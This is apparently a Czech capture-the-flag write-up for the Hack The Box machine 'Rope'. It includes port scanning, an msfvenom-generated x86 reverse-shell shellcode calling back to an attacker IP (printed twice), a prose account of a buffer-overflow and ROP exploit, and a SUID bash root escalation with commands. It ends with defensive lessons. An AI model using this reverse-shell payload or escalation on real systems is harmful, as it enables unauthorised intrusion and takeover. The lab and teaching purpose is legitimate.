Rope
Úvod a kontext
Rope je stroj z Hack The Box zaměřený na zneužití paměťové chyby ve vlastní HTTP službě a na pečlivou lokální enumeraci. Dobře ukazuje rozdíl mezi skutečným exploitem v user části a triviální, ale o to závažnější chybou v konfiguraci u roota.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
| 256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_ 256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4000 -f py
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a"
buf += b"\x0a\x0e\x1f\x68\x02\x00\x0f\xa0\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Služba na portu 9999 běžela jako jednoduchý vlastní HTTP server. V parsování požadavku šlo vyvolat přetečení paměti a pomocí ROP řetězce si připravit prostor pro shellcode. Proto se zde objevuje právě msfvenom: nejde o náhodný payload, ale o finální fázi exploitace po nalezení offsetu a přesměrování řízení běhu do útočníkem dodaného kódu.
Výsledkem byl shell v kontextu lokálního uživatele, ze kterého už šlo potvrdit user.txt a pokračovat v běžné interní enumeraci.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4000 -f py
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a"
buf += b"\x0a\x0e\x1f\x68\x02\x00\x0f\xa0\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Root část byla naopak výrazně jednodušší. Po získání user shellu stačilo projít SUID binárky a narazit na bash se zapnutým SUID bitem. To není exploitační technika, ale čistá konfigurační chyba: bash -p zachová efektivní UID a okamžitě vrátí root shell.
find / -perm -4000 -type f 2>/dev/null
/bin/bash -p
cat /root/root.txt
Právě ten kontrast je na Rope poučný. První fáze stojí na reálné paměťové chybě a pečlivé exploitaci, druhá naopak na elementární chybě v hardeningu systému.
Shrnutí klíčových poznatků
- Z hlediska rozhodování bylo nejdůležitější správně přečíst vazbu mezi SSH a SUID binárky.
- K uživatelskému kontextu vedl konkrétní a ověřitelný krok: stabilní uživatelský přístup.
- Poslední část ukazuje, že po získání shellu rozhoduje hlavně to, jakou roli hraje SUID binárka nebo privilegovaný wrapper.
Co si odnést do praxe
- První obranná lekce míří na SSH a SUID binárky. První vstup do systému často nevzniká na hlavní doméně, ale na vedlejší službě, pomocném endpointu nebo chybně publikovaném souboru; i tyto plochy je potřeba aktivně inventarizovat.
- Druhá lekce je o tom, jak rychle se ze zjištění stane stabilní uživatelský přístup. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami.
- Třetí lekce připomíná riziko, které v praxi představuje SUID binárka nebo privilegovaný wrapper. SUID binárky a privilegované wrappery musí být minimální, auditované a bez možnosti měnit interpretované argumenty; i malá chyba tu obvykle končí root shellem.